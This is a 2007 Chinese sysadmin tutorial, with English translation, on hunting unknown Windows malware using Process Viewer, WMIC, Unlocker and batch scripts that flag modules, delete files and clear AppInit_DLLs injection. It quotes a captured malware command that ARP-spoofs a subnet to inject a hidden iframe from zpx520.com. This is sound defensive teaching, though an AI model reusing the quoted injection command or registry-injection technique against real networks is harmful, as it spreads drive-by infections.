来自:网络管理员内部参考 MOER.NET
标题:使用Symantec的Process Viewer辅助查杀未知病毒
作者:夏克
sequh@126.com
对于一个未知的病毒,作为网络管理员不应该也不必等候杀毒软件厂商的解决方案出来,自己动手就可以杀除。找到病毒的根源,从而找出目前网络内的安全缺陷,并得出解决方案。这是一个真正的网络管理员会去做的。
这个过程最初也最重要的工作是找出病毒文件,对于windows系统来说,所有的病毒都是存在于文件中的。现在已经很少看到以.exe形式存在的病毒文件了,基本上都是.dll文件,而且最可怕的是,病毒技术越来越倾向于向低层驱动前进,对于网络管理员来说,这真是一个挑战啊。
我本人的技术有限,只是结合平时的工作来讲述一下自己在查杀未知病毒的过程中的一些经历,以便给网络管理员们提供一些思路。文中所采用的技术也很简单,通过使用Symantec的Process Viewer(简称pv)和WMIC来帮助查找病毒文件,通过一些CMD内部命令和Unlocker来帮助杀除病毒,理所当然,做这些工作用批处理来说太方便了,所以我会给出一个完整的批处理,当然我自己也写了一个批处理,结合这些工具发布,姑且大言不惭地称之为了,高手莫怪。
pv是一个非常好的工具,在进程管理方面很多功能都是windows任务管理器所没有的,我以余飞雨同志汉化的PrcView v 5.2.15.1为例实际讲解pv的具体使用方法。
pv有四项功能非常适合网络管理员的工作:一是进程管理,你可以修改进程的优先级(这一点很重要)、终止进程(这一点是我们想要的)。二是查看模块。模块存在于进程中,你不能直接终止模块,但你可以终止进程。模块对应着文件,我们的最终目标就是找到病毒模块,也就是病毒文件,从而杀除它,并写一个免疫脚本。三是进程监视器,它可以很好地帮助你判断系统自启动以来运行的所有模块,而且界面中提供了很丰富的内容。四是自启动项目,提供了一些msconfig或者注册表run项看不到的东西。如果单纯讲解使用会很枯燥,我结合一个实例来讲解。
今天是2007-7-7,比较有意思的一天,近期频繁发作的ARP病毒使很多网络管理员无从下手,我们接到同事报告,ip=89的电脑正在攻击其它机器,许多人已经无法访问互联网了,连内部的服务器都无法正常访问,把89短网,几分钟后恢复正常,看来病毒并没有流窜,这已经让我们很庆幸了。
分析89的时候,打开pv,出现一个特殊的现象,pv的进程列表一片空白,这很棘手。只能通过命令行pv.exe来寻找可疑模块了。
知识点1:命令行中使用Process Viewer(pv)
pv目录下的pv.exe提供了命令行下使用pv的功能,你可以直接查看进程,但对于目前的病毒来说,它们已经不屑于出现在进程列表中了,我使用pv.exe -s来查看所有模块,这个命令对应prcview.exe中查看模块使用的功能,它列出了系统中所有加载的模块和所对应的文件路径。
一个个来分析这些文件,看它们的版本号、修改日期、安装日期、生产厂商等,基本上能确定出可疑文件来,而且对于熟练的网络管理员来说,系统正常加载的模块大致已经熟记在心了,最后实在不行,可以对比一台正常的系统中的模块来分析。当然,你也可以把正常的模块列表成文本文件,用批处理来做这个工作。
作为判断是否可疑模块的规则可以有很多,比如在最初,我是以模块文件的修改日期来判断的,只要是2007年的我都当作可疑,这是因为我观察发现XP的系统模块大多都是2004年的修改日期,而一些病毒的修改日期基本上都是最近的。
但这条规则后来出现了问题,可能是XP更新可能是其它原因,一些系统模块也被认为是可疑的,并且最关键的是,这条规则把新近开发的软件也当作可疑。新安装的软件并不一定会被误认,因为文件的修改日期是指编译生成的日期,只有最近编译的文件才可能会被误认。而且,一个让我放弃这条规则的最大原因是,一些病毒在加载后创建文件时,会把修改日期改到与XP系统文件同一天,大概都是2004年左右,这使我的规则完全失去了作用。
当然规则只是用来帮助自己简化分析工作的,我曾经把自己的机器上的所有模块打印出来,拿着纸一个个来比对中毒机器中的模块从而来查找可疑模块。虽然这个方法很笨,但很实用。我们也可以通过定义一个简单的规则来把这个过程简化。
只要是XP的系统模块,文件的生产厂商必定是Microsoft Corporation(当然也出现过极少的例外),所以我可以通过判断文件的生产厂商来排除模块列表中的大部分,另外一些比较知名的厂商也加入了我的列表,比如Symantec Corporation、Adobe Systems Incorporated等。
获取文件的属性我是用了WMIC,如果没有WMIC(这种情况尽管少见,但我昨天已经碰到两例,WMIC不自动安装),用dir当然也可以获取文件的一些信息,但没有厂商信息,使用pv的可视界面可以查看到厂商信息,但pv.exe没有这项功能。下面的代码是批处理中对pv.exe返回的所有模块进行判断的一个全过程:
代码1:对pv.exe返回的所有模块进行判断,以筛选出可疑模块,你应该在pv.exe所在的目录来执行这个批处理
@echo off
color 0a
set log=日志.txt
set bad=可疑.txt
del %log% >nul 2>nul
del %bad% >nul 2>nul
rem >nul是1>nul的简写,1=STD_OUT,2=STD_ERR
rem 1>nul表示把输出信息隐藏,2>nul表示把错误信息隐藏
rem 一般在for循环里需要使用重复赋值的变量时
rem 都需要在for循环外声明setlocal
rem 另外,这些重复赋值的变量在声明了setlocal后,就只能使用
rem 感叹号来引用了
setlocal enabledelayedexpansion
rem for的使用很复杂,skip表示忽略第一行,pv返回的内容第一行对我们是没意义的
rem tokens表示for变量的使用范围,这里指定pv返回内容的第一项赋值给%%i
rem 默认地,根据tokens的个数,for会自动把第二项赋值给%%j....
rem 注意|号需要转义
for /f "skip=1 tokens=1,2,3,4,*" %%i in ('pv.exe -s^|find /v ""') do (
rem %%i=模块名称 %%j=计数 %%k=基址 %%l=大小 %%m=文件路径
set mypname=%%i
set myfname=%%m
cls
title 模块: !mypname!
echo 正在分析模块......
echo 模块名称: !mypname!
echo 文件路径: !myfname!
rem 下面获取进程文件的属性,WMIC的文件路径表示和windows不一样,\\和\的区别
rem 可以查看set命令的帮助,这里斜杠的转换很简单,但你无法直接在%%m里转换
set oo=%%m
set oo=!oo:\=\\!
rem 新手要格外注意这里单引号和双引号的是用
rem wmic外面的单引号是不能去掉的,这是for关键字要求的
rem 而wmic的name外面的双引号是必须的,name的值需要单引号
rem get指令的值如果包含空格则需要单引号
rem 最好要注意的就是,逗号需要转义
rem /format:csv.xsl表示输出的格式用csv格式,也就是逗号分隔各项
for /f "delims=, tokens=1,2,3,4,5" %%a in (
'wmic datafile where "name='!oo!'" get
"creation date"^,
lastmodified^,
manufacturer^,
version /format:csv.xsl'
) do (
set mycdate=%%b >nul
set mymdate=%%c >nul
set mymanu=%%d >nul
set myver=%%e >nul
set mycdate=!mycdate:~0,8!
set mymdate=!mymdate:~0,8!
)
rem 写到日志
echo 模块: !mypname!>>%log%
echo 路径: !myfname!>>%log%
echo 文件版本: !myver!>>%log%
echo 生产厂商: !mymanu!>>%log%
echo 创建日期: !mycdate!>>%log%
echo 修改日期: !mymdate!>>%log%
rem ** 判断是否为可疑进程
rem 可疑进程判别规则:
if not "!mymanu!"=="Microsoft Corporation " (
if not "!mymanu!"=="Symantec Corporation " (
if not "!mymanu!"=="Adobe Systems Incorporated " (
rem 这里我会把模块拷贝出来并压缩
rem 因为是演示,我没有把压缩的写出来
rem copy !myfname! %baddir% >nul 2>nul
rem if not errorlevel 1 (
rem echo ** 可疑 ** 该文件已复制到 %baddir%>>%log%
rem ) else (
rem echo ** 可疑 ** 复制文件失败!!>>%log%
rem )
echo ** 可疑 ** >>%log%
echo 模块: !mypname!>>%bad%
echo 路径: !myfname!>>%bad%
echo 文件版本: !myver!>>%bad%
echo 生产厂商: !mymanu!>>%bad%
echo 创建日期: !mycdate!>>%bad%
echo 修改日期: !mymdate!>>%bad%
echo.>>%bad%
)))
echo.>>%log%
)
endlocal
cls
title 分析完毕
echo 分析完毕!
echo 结果已保存在%log%和%bad%中
echo.
echo.
pause
代码很简单,而且我加了很多帮你理解的注释。重要的部分是pv.exe那一行和使用WMIC的部分。WMIC是XP默认自带的,第一次使用会自动安装,在cmd中直接输入WMIC就自动安装了WMIC,WMIC是个非常实用的工具,windows网络管理员应该仔细研究一下WMIC的用法,结合批处理或者脚本可以实现绝大多数的系统管理任务。wmic的process也可以管理进程,但无法查看模块。tasklist命令可以列出进程中的模块,但无法列出模块所对应的文件全路径,这是pv带给我们的最大好处。
分析结果放在了可疑.txt和日志.txt中,日志中保存了所有模块的信息,可疑模块被作了标记以便帮助你仔细分析。另外可疑.txt中把可疑的模块单独列出来供你参考。
在确认了某些模块确实就是病毒模块后,就要来干掉它了。但我警告你,有时候,干掉它不如留它一条命。最简单的免疫就是保留这些病毒文件,但是把病毒文件的内容清空,还要用attrib +s +r来保护它。
在最初,我是用taskkill来终止进程的,但近来很多病毒已经不采取进程的方式运行,而是作为进程的模块存在,所以我选择了unlocker来直接删除文件。
unlocker是俄罗斯人写出来的,和一般删除文件的方式不同,它很独特。网上有牛人说,不是我说的,unlocker对于已经打开的进程文件,会OpenProcess并且DuplicateHandle复制句柄,与此同时设置标志DUPLICATE_CLOSE_SOURCE,这样关闭了文件句柄,就可以删除这个文件了。而对于进程中打开的模块文件,我们都知道模块是使用LoadLibrary来注入进程的,使用FreeLibrary就可以把模块从进程中卸掉,再删除文件。unlocker就是这样做的,非常不错的一款软件。但有时候,一些狡猾猾的病毒模块会注入到几乎(是几乎,这是有原因的)当前所有的进程中,这时就不要为难unlocker了,可以通过其它途径来解决,下面会提到。
unlocker也提供了命令行方式,就是unlocker.exe本身,这真是我们的幸运,使用起来很简单: unlocker 文件名 /D /S,但我们删除的不是自己的日记那么简单,它们是病毒,进程监视、文件操作监视、注册表监视、锁定命令行,它们无所不做,就算你成功地删除了它,它的帮凶会在旁边又悄悄地创建一个文件。
值得庆幸的是,它们创建文件总是不如我们创建的快,因为我们可以在删除后,直接创建一个空的文件,名字就是病毒文件名,加上系统和只读的属性,好了,碰到这种情况,病毒的兄弟们一般都会傻乎乎地认为自己的老大安然无恙,所以不会再重新创建文件了。你可能会收到一些错误提示框,类似的信息就是损坏的映像之类,这说明我们成功了。
一般这项工作我们也是放在批处理里面进行的,把想要删除的文件的全路径列表到某个文本文件中,然后使用批处理依次删除这些文件。
代码2: 删除模块文件,这些文件的全路径在"病毒文件列表.txt"中,你应该在unlocker.exe所在的目录来执行这个批处理
rem **这段代码有一定的危险性,除非你确认病毒文件列表中的文件是可疑文件,
rem 否则不要尝试,一旦误删除正常文件,有可能会造成系统损坏或者应用软件损坏
rem 最好在测试之前做一个备份,夏克杀毒助手会预先备份
rem 但这里的代码没有备份的部分,你可以手动备份
rem 加载unlocker
call install.cmd
rem eol=;表示分号在这里是行注释符号,注释的行不被处理
for /f "eol=; tokens=*" %%i in (病毒文件列表.txt) do (
unlocker.exe "%%i" /D /S
rem echo*>的用法只能在批处理中,在cmd中不行
rem 它是用来生成一个空文件的
echo*>"%%i"
attrib +r +s +h "%%i"
)
rem 卸载unlocker
call uninstall.cmd
基本上,结合这两段批处理就可以把一些简单的木马做掉,有时候,一次查杀并不能把所有的文件都删除,需要进行多次,unlocker本身默认只进行10次的尝试删除操作,10次后就放弃了。
如果多次查杀都删除不掉某些顽固的模块,就开始进入巷战了。
所谓的巷战就是手动了,因为目前我还没有时间写出一个完整的全自动查杀助手,只能把目前我的手动查杀过程写出来,大家可以帮我一起来完善这些代码。
之所以文章题目是使用pv来查杀,而不是unlocker,就是因为在手动查杀过程中,我们要频繁地使用pv,而unlocker仅仅是最后一刀。
上面的代码1可以把目前的可疑模块一一列出,这是非常有用的,我们可以随时运行代码1来获取可疑模块是否存在。
pv的进程监视器用来监视所有进程的操作,应该把它设置成开机即启动,以捕获开机时的病毒模块启动过程,一般在手动查杀的时候,我会经常查看进程监视器,主要看命令行那一项是否有可疑的操作,结合代码1列出的可疑模块,这个过程还是很简单的。
如果是以rundll32来启动的模块,并且rundll32.exe进程还在运行,则终止掉,终止不掉的时候,可以先把进程的优先级设置成,再终止。
这个过程是个反复的过程,重启、查看进程监视器、运行代码1、运行代码2、查看进程监视器、修改"病毒文件列表.txt"再次运行代码2、查看进程监视器,其间还会弹出一些错误提示框,提示损坏的映像等等,直到最后完全删除掉或者剩下唯一的一个永远删不掉的模块。
我今天就碰到了这种情况,这个模块注入了所有的进程,查看pv中的会发现它的计数分四次,分别有10次、4次、1次、1次,右键选择会找到加载了该模块的进程,你无法把进程终止掉,因为这些进程都是系统使用的进程,unlocker也不可能删除掉,因为句柄被引用的地方太多了,奇怪的是,我在启动项里也找不到该模块的信息,进程监视器里也找不到该模块的信息。这个时候,我们最好到一个大家都容易忽略而又非常有意思的一个地方去看看,注册表的一个地方:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
看看AppInit_DLLs项的值是不是它。AppInit_DLLs项是一个很危险的地方,基本上这个值应该是空的,一旦写入模块的文件名,则只要调用user32.dll就会加载该模块,而几乎所有的进程都会调用user32.dll,所以,聪明的你应该知道了,这就是注册表进程注入。
庆幸的是,我在这里找到了那个顽固的模块,但我无法修改AppInit_DLLs,因为这个模块会监视AppInit_DLLs项值的变化,碰到这种监视,我第一个想到的就是批处理,因为定时远没有批处理来的快,我们只需要清空了AppInit_DLLs的值后,马上锁定注册表就足以防范注册表监视了。
代码3:突破注册表监视
echo 检查是否存在注册表注入进程
echo 这里我没有对查询得到的结果进行处理,只是想告诉你这种方法可以获取注册表项值
rem reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs"
echo 修复注册表,删除注册表注入的进程
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs" /t REG_SZ /d "" /f
echo 禁止编辑注册表,你可以通过gpedit.msc(组策略编辑)中的--来重新启用注册表编辑
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d 1 /f
pause
好了,修改了注册表,重新启动一下,最后的顽固模块被清除了,系统干净了,然后用gpedit.msc来启用注册表编辑。
有时候,仅仅是通过观察pv的和就可以找出病毒文件,比如今天在进程监视器中赫然发现这样一条命令:
"C:\WINDOWS\system32\drivers\scvhost.exe" -idx 0 -ip 192.168.0.1-192.168.0.255 -port 80 -insert "<iframe src='http://www.zpx520.com/0.htm' width=0 height=0></iframe>"
我想,这就是zpx520病毒的一条核心命令吧,如果你是一个tracer,请观察一下scvhost.exe,以获取arp病毒所采用的方式,从而做出一个真正的免疫程序来造福人类吧。
友情提示:
pv的里会出现userinit.exe,不要动它,如果你删除了它,就看看资源包\sequh里的一些文本文件吧
unlocker在运行了install.cmd后就加载到系统中了,右键菜单会出现unlocker,有时候一些文件删不掉,unlocker会提示是否重启后删除,也是一个不错的选择。
本来想要把夏克杀毒助手源码全部附上,但由于时间问题没有整理出完善的代码,而且还有pv和unlocker需要上传,所以,我把目前我自己正在用的夏克杀毒助手v0.1先传到我的网站供大家下载,但一定不要传播,我不想被人唾骂,仅供网络管理员内部参考。
夏克杀毒助手ver0.1(alpha版)下载:
http://www.moer.net/down/夏克杀毒助手alpha0.1.rar
很感谢中国DOS联盟论坛,从这里学到了很多知识,所以也做一些小小的贡献,这里高手太多了
From: Network Administrator Internal Reference MOER.NET
Title: Using Symantec's Process Viewer to Assist in Killing Unknown Viruses
Author: Xia Ke
sequh@126.com
For an unknown virus, network administrators should not and do not need to wait for the solution from the antivirus software manufacturer; they can remove it by themselves. Find the root of the virus, thereby identify the current security flaws in the network, and come up with solutions. This is what a real network administrator will do.
The initial and most important work in this process is to find the virus file. For the Windows system, all viruses exist in files. Now it is very rare to see virus files in.exe form. Basically, they are.dll files. And the most terrifying thing is that virus technology is increasingly inclined to move towards the lower-level driver, which is really a challenge for network administrators.
I have limited technology, but I will combine my usual work to talk about some experiences in killing unknown viruses, so as to provide some ideas for network administrators. The technology used in the article is also very simple. By using Symantec's Process Viewer (referred to as pv) and WMIC to help find virus files, and using some CMD internal commands and Unlocker to help remove viruses. Naturally, it is too convenient to do these tasks with batch processing, so I will give a complete batch processing. Of course, I also wrote a batch processing, combined with these tools to release, and I dare to call it with a big face, please don't blame the experts.
pv is a very good tool. Many functions in process management are not available in the Windows Task Manager. I will actually explain the specific use method of pv with the PrcView v 5.2.15.1 localized by Comrade Yu Feiyu.
pv has four functions very suitable for network administrators' work: First, process management. You can modify the priority of the process (this is very important) and terminate the process (this is what we want). Second, view modules. Modules exist in processes. You cannot directly terminate a module, but you can terminate the process. The module corresponds to a file. Our final goal is to find the virus module, that is, the virus file, so as to remove it and write an immune script. Third, process monitor. It can well help you judge all modules running since the system started, and the interface provides very rich content. Fourth, startup items. It provides some things that cannot be seen in msconfig or the registry run item. If you simply explain the use, it will be boring. I will explain it with an example.
Today is July 7, 2007, a very interesting day. The frequently occurring ARP virus has made many network administrators at a loss. We received a colleague's report that the computer with ip=89 is attacking other machines, and many people can no longer access the Internet, and even the internal server cannot be accessed normally. Shorten the network of 89, and it will return to normal after a few minutes. It seems that the virus has not spread, which has made us very fortunate.
When analyzing 89, open pv, and a special phenomenon occurs. The process list of pv is blank, which is very tricky. We can only use the command line pv.exe to find suspicious modules.
Knowledge Point 1: Using Process Viewer (pv) in the command line
pv.exe in the pv directory provides the function of using pv in the command line. You can directly view processes, but for the current viruses, they are no longer willing to appear in the process list. I use pv.exe -s to view all modules. This command corresponds to the function of viewing modules in prcview.exe. It lists all loaded modules in the system and their corresponding file paths.
Analyze these files one by one, look at their version numbers, modification dates, installation dates, manufacturers, etc., and basically can determine the suspicious files. And for proficient network administrators, the normal loaded modules in the system are roughly memorized. Finally, if it really doesn't work, you can compare with the modules in a normal system to analyze. Of course, you can also list the normal module list into a text file and use batch processing to do this work.
There can be many rules for judging whether it is a suspicious module. For example, at the beginning, I judged by the modification date of the module file. As long as it is in 2007, I treat it as suspicious. This is because I observed that the modification date of XP system modules is mostly in 2004, and the modification date of some viruses is basically recent.
But this rule later had problems. Maybe it was due to XP updates or other reasons, and some system modules were also considered suspicious. And the most critical thing is that this rule treats newly developed software as suspicious. Newly installed software is not necessarily misrecognized, because the modification date of the file refers to the compilation generation date, and only files compiled recently may be misrecognized. And the biggest reason that made me give up this rule is that some viruses, after loading, create files and will change the modification date to the same day as the XP system file, which is about 2004, which makes my rule completely ineffective.
Of course, the rule is only used to help simplify the analysis work. I once printed out all the modules on my machine and compared them one by one with the modules in the poisoned machine to find suspicious modules. Although this method is very stupid, it is very practical. We can also define a simple rule to simplify this process.
As long as it is an XP system module, the manufacturer of the file must be Microsoft Corporation (of course, there are very few exceptions), so I can exclude most of the module list by judging the manufacturer of the file. Some other well-known manufacturers are also added to my list, such as Symantec Corporation, Adobe Systems Incorporated, etc.
I used WMIC to obtain the attributes of the file. If there is no WMIC (although this situation is rare, but I encountered two cases yesterday, WMIC is not automatically installed), dir can also be used to obtain some information of the file, but there is no manufacturer information. The visible interface of pv can view the manufacturer information, but pv.exe does not have this function. The following code is a whole process of judging all modules returned by pv.exe in batch processing:
Code 1: Judging all modules returned by pv.exe to filter out suspicious modules. You should execute this batch processing in the directory where pv.exe is located
@echo off
color 0a
set log=Log.txt
set bad=Suspicious.txt
del %log% >nul 2>nul
del %bad% >nul 2>nul
rem >nul is a short form of 1>nul, 1=STD_OUT, 2=STD_ERR
rem 1>nul means to hide the output information, 2>nul means to hide the error information
rem Generally, when using repeated assignment variables in a for loop,
rem you need to declare setlocal outside the for loop
rem In addition, these repeated assignment variables, after declaring setlocal, can only be used
rem Exclamation marks are used to reference
setlocal enabledelayedexpansion
rem The use of for is very complicated. skip means ignoring the first line. The first line of the content returned by pv is meaningless to us
rem tokens means the scope of using for variables. Here, the first item of the content returned by pv is assigned to %%i
rem By default, according to the number of tokens, for will automatically assign the second item to %%j....
rem Note that the | sign needs to be escaped
for /f "skip=1 tokens=1,2,3,4,*" %%i in ('pv.exe -s^|find /v ""') do (
rem %%i=module name %%j=count %%k=base address %%l=size %%m=file path
set mypname=%%i
set myfname=%%m
cls
title Module: !mypname!
echo Analyzing the module......
echo Module name: !mypname!
echo File path: !myfname!
rem The following obtains the attributes of the process file. The file path representation of WMIC is different from that of Windows. The difference between \\ and \
rem You can view the help of the set command. The conversion of slashes here is very simple, but you cannot directly convert in %%m
set oo=%%m
set oo=!oo:\=\\!
rem Novices should pay special attention to the use of single quotes and double quotes here
rem The single quotes outside wmic cannot be removed. This is required by the for keyword
rem And the double quotes outside the name in wmic are necessary. The value of name needs to be in single quotes
rem The value of the get instruction needs to be in single quotes if it contains spaces
rem The most important thing is that commas need to be escaped
rem /format:csv.xsl means that the output format is in csv format, that is, separated by commas
for /f "delims=, tokens=1,2,3,4,5" %%a in (
'wmic datafile where "name='!oo!'" get
"creation date"^,
lastmodified^,
manufacturer^,
version /format:csv.xsl'
) do (
set mycdate=%%b >nul
set mymdate=%%c >nul
set mymanu=%%d >nul
set myver=%%e >nul
set mycdate=!mycdate:~0,8!
set mymdate=!mymdate:~0,8!
)
rem Write to log
echo Module: !mypname!>>%log%
echo Path: !myfname!>>%log%
echo File version: !myver!>>%log%
echo Manufacturer: !mymanu!>>%log%
echo Creation date: !mycdate!>>%log%
echo Modification date: !mymdate!>>%log%
rem ** Judging whether it is a suspicious process
rem Suspicious process judgment rules:
if not "!mymanu!"=="Microsoft Corporation " (
if not "!mymanu!"=="Symantec Corporation " (
if not "!mymanu!"=="Adobe Systems Incorporated " (
rem Here I will copy the module out and compress it
rem Because it is a demonstration, I didn't write the compression out
rem copy !myfname! %baddir% >nul 2>nul
rem if not errorlevel 1 (
rem echo ** Suspicious ** This file has been copied to %baddir%>>%log%
rem ) else (
rem echo ** Suspicious ** Failed to copy the file!!>>%log%
rem )
echo ** Suspicious ** >>%log%
echo Module: !mypname!>>%bad%
echo Path: !myfname!>>%bad%
echo File version: !myver!>>%bad%
echo Manufacturer: !mymanu!>>%bad%
echo Creation date: !mycdate!>>%bad%
echo Modification date: !mymdate!>>%bad%
echo.>>%bad%
)))
echo.>>%log%
)
endlocal
cls
title Analysis Completed
echo Analysis completed!
echo The results have been saved in %log% and %bad%
echo.
echo.
pause
The code is very simple, and I have added a lot of comments to help you understand. The important part is the line of pv.exe and the part using WMIC. WMIC is automatically installed by default in XP. It will be automatically installed when you enter WMIC directly in cmd. WMIC is a very practical tool. Windows network administrators should carefully study the usage of WMIC. Combined with batch processing or scripts, most system management tasks can be realized. wmic's process can also manage processes, but cannot view modules. The tasklist command can list the modules in the process, but cannot list the full path of the file corresponding to the module. This is the greatest benefit that pv brings us.
The analysis results are placed in Suspicious.txt and Log.txt. The log saves the information of all modules, and the suspicious modules are marked to help you analyze carefully. In addition, the suspicious.txt lists the suspicious modules separately for your reference.
After confirming that some modules are indeed virus modules, it is time to get rid of them. But I warn you that sometimes, it is better to leave them alive than to kill them. The simplest immunity is to keep these virus files, but empty the content of the virus files and protect them with attrib +s +r.
At the beginning, I used taskkill to terminate the process, but recently many viruses no longer run in the form of processes, but exist as modules of processes, so I chose Unlocker to directly delete the file.
Unlocker was written by Russians, and it is different from the general way of deleting files. It is very unique. Some people on the Internet say, it's not me who said it, Unlocker will OpenProcess and DuplicateHandle to copy the handle for the already opened process file, and at the same time set the flag DUPLICATE_CLOSE_SOURCE, so that the file handle is closed, and then this file can be deleted. For the module file opened in the process, we all know that the module is injected into the process using LoadLibrary, and the module can be unloaded from the process using FreeLibrary, and then the file is deleted. Unlocker does this, which is a very good software. But sometimes, some cunning virus modules will be injected into almost (it is almost, this is for a reason) all current processes. At this time, don't embarrass Unlocker, you can solve it through other ways, which will be mentioned below.
Unlocker also provides a command line mode, which is Unlocker.exe itself. This is really our luck. It is very simple to use: unlocker file name /D /S, but what we delete is not as simple as our diary. They are viruses. They do everything, such as process monitoring, file operation monitoring, registry monitoring, and locking the command line. Even if you successfully delete it, its accomplice will quietly create a file next to it.
Fortunately, they create files not as fast as we do, because we can directly create an empty file after deletion, with the name of the virus file, plus the system and read-only attributes. Okay, in this case, the brothers of the virus will generally foolishly think that their boss is safe, so they will not re-create the file. You may receive some error prompts, similar information is a damaged image, etc., which means we have succeeded.
Generally, this work is also placed in batch processing. List the full path of the file to be deleted into a certain text file, and then use batch processing to delete these files one by one.
Code 2: Deleting module files. The full paths of these files are in "Virus File List.txt". You should execute this batch processing in the directory where Unlocker.exe is located
rem **This code is somewhat dangerous. Unless you are sure that the files in the virus file list are suspicious files,
rem otherwise do not try. Once a normal file is mistakenly deleted, it may cause system damage or application software damage
rem It is best to make a backup before testing. Xia Ke Virus Killing Assistant will back up in advance
rem But the code here does not have the backup part, you can back up manually
rem Load Unlocker
call install.cmd
rem eol=; means that the semicolon is a line comment symbol here, and the commented line is not processed
for /f "eol=; tokens=*" %%i in (Virus File List.txt) do (
unlocker.exe "%%i" /D /S
rem The usage of echo*> can only be in batch processing, not in cmd
rem It is used to generate an empty file
echo*>"%%i"
attrib +r +s +h "%%i"
)
rem Uninstall Unlocker
call uninstall.cmd
Basically, with these two batches, some simple trojans can be removed. Sometimes, one killing cannot delete all files, and multiple times are needed. Unlocker itself defaults to only performing 10 attempts to delete operations, and gives up after 10 times.
If multiple killings cannot delete some stubborn modules, it starts to enter巷战 (巷战 means street fighting).
The so-called street fighting is manual, because I don't have time to write a complete fully automatic killing assistant at present. I can only write out my current manual killing process, and everyone can help me improve these codes.
The reason why the title of the article is using pv to kill rather than Unlocker is because in the manual killing process, we need to use pv frequently, and Unlocker is only the final cut.
The above code 1 can list the current suspicious modules one by one, which is very useful. We can run code 1 at any time to get whether the suspicious module exists.
The process monitor of pv is used to monitor the operations of all processes. It should be set to start when the computer starts to capture the startup process of the virus module. Generally, when manually killing, I will often check the process monitor, mainly to see if there are any suspicious operations in the command line item. Combined with the suspicious modules listed in code 1, this process is still very simple.
If it is a module started by rundll32, and the rundll32.exe process is still running, then terminate it. When it cannot be terminated, you can first set the priority of the process to , and then terminate it.
This process is a repeated process. Restart, view the process monitor, run code 1, run code 2, view the process monitor, modify the "Virus File List.txt" and run code 2 again, view the process monitor. During this period, some error prompts will pop up, prompting damaged images, etc., until finally all are deleted or the only one that can never be deleted remains.
I encountered this situation today. This module is injected into all processes. Looking at in pv, I find that its counts are four times, with 10 times, 4 times, 1 time, and 1 time respectively. Right-click and select to find the process that loaded this module. You cannot terminate the process because these processes are system-used processes, and Unlocker cannot delete it because there are too many places where the handle is referenced. Strangely, I can't find the information of this module in the startup items, and I can't find the information of this module in the process monitor. At this time, we had better go to a place that everyone easily ignores and is very interesting, a place in the registry:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
See if the value of the AppInit_DLLs item is it. The AppInit_DLLs item is a very dangerous place. Basically, this value should be empty. Once the file name of the module is written, as long as user32.dll is called, this module will be loaded. And almost all processes will call user32.dll, so, smart you should know, this is registry process injection.
Fortunately, I found that stubborn module here, but I can't modify AppInit_DLLs, because this module will monitor the change of the AppInit_DLLs item value. When I encounter this kind of monitoring, my first thought is batch processing, because timing is not as fast as batch processing. As long as we clear the value of AppInit_DLLs, we can lock the registry to prevent registry monitoring immediately.
Code 3: Breaking through registry monitoring
echo Check if there is a registry injection process
echo Here I did not process the query results, just to tell you that this method can obtain the registry item value
rem reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs"
echo Repair the registry and delete the registry-injected process
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs" /t REG_SZ /d "" /f
echo Forbid editing the registry. You can re-enable registry editing through -- in gpedit.msc (Group Policy Editor)
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d 1 /f
pause
Okay, after modifying the registry, restart it. The final stubborn module is cleared, the system is clean, and then use gpedit.msc to enable registry editing.
Sometimes, you can find the virus file by just observing the and of pv. For example, today I found such a command in the process monitor:
"C:\WINDOWS\system32\drivers\scvhost.exe" -idx 0 -ip 192.168.0.1-192.168.0.255 -port 80 -insert "<iframe src='http://www.zpx520.com/0.htm' width=0 height=0></iframe>"
I think this is a core command of the zpx520 virus. If you are a tracer, please observe scvhost.exe to obtain the method adopted by the ARP virus, so as to make a real immune program to benefit mankind.
Friendly reminder:
The of pv will have userinit.exe. Don't move it. If you delete it, please look at some text files in the resource package \sequh
After running install.cmd, Unlocker is loaded into the system. The right-click menu will have Unlocker. Sometimes some files cannot be deleted, and Unlocker will prompt whether to delete after restarting, which is also a good choice.
Originally, I wanted to attach all the source codes of Xia Ke Virus Killing Assistant, but due to time problems, I didn't sort out the perfect code, and there are also pv and Unlocker that need to be uploaded. So, I uploaded the current Xia Ke Virus Killing Assistant v0.1 I am using to my website for everyone to download, but must not spread it. I don't want to be scolded, only for network administrator internal reference.
Xia Ke Virus Killing Assistant ver0.1 (alpha version) download:
http://www.moer.net/down/Xia Ke Virus Killing Assistant alpha0.1.rar
I am very grateful to the China DOS Union forum. I have learned a lot of knowledge from here, so I also make some small contributions. There are too many experts here